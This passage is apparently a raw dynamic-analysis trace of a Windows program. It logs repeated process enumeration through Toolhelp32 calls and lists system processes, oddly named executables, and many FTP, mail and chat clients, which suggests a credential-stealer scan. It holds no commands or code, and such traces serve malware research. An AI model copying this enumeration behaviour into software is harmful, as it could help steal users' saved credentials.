szExeFile="entire.exe")) returned 1 [0255.127] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0255.129] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0255.131] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.132] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0255.133] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0255.135] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0255.136] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0255.148] Process32Next (in: hSnapshot=0x13b0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0255.149] CloseHandle (hObject=0x13b0) returned 1 [0255.149] Sleep (dwMilliseconds=0x64) [0255.192] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1038 [0255.206] Process32First (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0255.208] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0255.209] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0255.211] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.212] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0255.213] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0255.215] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0255.216] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0255.217] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0255.219] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.220] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.222] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0255.223] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.224] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.226] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.228] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.271] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.273] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.274] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.276] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0255.277] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0255.279] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0255.280] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.281] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0255.283] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0255.285] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0255.286] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0255.287] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0255.289] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0255.290] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0255.291] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0255.293] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0255.294] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0255.295] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0255.297] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0255.298] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0255.318] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0255.320] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0255.321] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0255.323] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0255.324] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0255.325] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0255.327] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0255.365] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0255.367] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0255.368] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0255.370] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0255.371] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0255.373] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0255.374] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0255.375] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0255.377] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0255.379] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0255.381] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0255.383] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0255.384] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0255.385] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0255.387] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0255.389] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0255.391] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0255.392] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0255.395] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0255.397] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0255.399] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0255.402] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0255.404] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0255.407] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0255.458] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0255.460] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0255.461] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0255.463] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0255.465] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0255.466] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0255.469] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0255.471] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0255.473] Process32Next (in: hSnapshot=0x1038, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 